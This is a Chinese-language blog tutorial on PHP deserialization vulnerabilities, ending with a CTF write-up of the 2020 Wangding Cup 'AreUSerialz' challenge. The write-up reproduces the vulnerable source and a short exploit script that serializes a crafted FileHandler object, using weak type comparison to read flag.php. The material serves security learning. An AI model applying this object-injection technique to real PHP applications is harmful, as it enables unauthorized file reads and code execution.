type
status
date
slug
summary
tags
category
icon
password

0x00 漏洞形成原理

序列化就是将对象转为字符串,反序列化相反,数据的格式的转换对象的序列化利于对象的传输的保存,也可以让多个文件共享对象。未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。
例:java,php,js,c-----序列化后-------二进制,XML,json
notion image

0x01 PHP反序列化漏洞分类

1)无类:不存在魔术方法函数
2)有类有类涉及到反序列化漏洞最重要的知识点,‘有类’类型的反序列化存在魔术方法,
所谓魔术方法,便是一些指定的函数,当对象满足魔术函数的要求,便会触发魔术函数,输出函数指定的对象,这类魔术方法函数的集合,简单来讲便形成一个类,无类则不存在魔术函数,直接将对象虚序列化或者反序列化。

0x02 序列化实例讲解

1)序列化首先需要提及两个函数,
serialize:将对象序列化输出
unserialize:将对象反序列化还原输出
2)序列化函数理解
string类型’123‘序列化为i:3:'123'
int类型123序列化:i:123
notion image
3)有类反序列化代码演示
触发:unserialize函数的变量可控,文件中存在可利用的类,类中有魔术方法:
对应输出参考下列魔术函数
notion image
被新建调用,被执行调用,被结束调用.............被调用则触发魔术方法
理解php反序列化构造命令执行:
notion image

0x03 魔术方法函数参考

函数举例:
construct()//创建对象时触发
destruct() //对象被销毁时触发
call() //在对象上下文中调用不可访问的方法时触发
callStatic() //在静态上下文中调用不可访问的方法时触发
get() //用于从不可访问的属性读取数据
set() //用于将数据写入不可访问的属性
isset() //在不可访问的属性上调用isset()或empty()触发
unset() //在不可访问的属性上使用unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发

0x04 网鼎杯-2020-青龙组-AreUSerialz反序列化真题

解题思路:
1.确认储存flag
2.两个魔术方法
3.对象绕过
notion image
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
notion image
两个魔法函数
__construct()//创建对象时触发
notion image
__destruct() //对象被销毁时触发
notion image
flag储存在目的便是读取他
notion image
notion image
notion image
突破点:需要让op值为2则触发读取获取flag
notion image
使用该类对flag进行读取,这里面能利用的只有__destruct函数(析构函数)。
__destruct函数对$this->op进行了===判断如果内容在2字符串时会赋值为1, process函数中使用==对$this->op进行判断(为2的情况下才能读取内容),因此这里存在弱类型比较,可以使用数字2或字符串’空格+2‘绕过判断。
=== 验证数值 类型 == 验证数值 弱类型检测 则可以写入’ 2‘绕过类型检测
<?php
class FileHandler{
public $op=' 2';//源码告诉我们op为1时候是执行写入为2时执行读
public $filename="flag.php";//文件开头调用的是flag.php
public $content="xd";
}
$flag = new FileHandler();
$flag_1 = serialize($flag);
echo $flag_1;
?>
payload:
notion image
构造传参,获取flag
notion image
PHP反序列化相对于其他漏洞,要深入学习,对新手小白还是存在一定的难度。
DNSlog简介cisp-pte真题解答
告白
告白
一个普通的干饭人🍚
公告
type
status
date
slug
summary
tags
category
icon
password
🎉告白的个人日常博客🎉
-- 关注微信公众号 ---
Gaobai文库
本站内存在文章缺失,框架组件问题待解决
原博客kxsy.work文章已在慢慢迁移本站
渗透时长两年半的个人练习生
-- 感谢您的支持 ---
👏欢迎阅览👏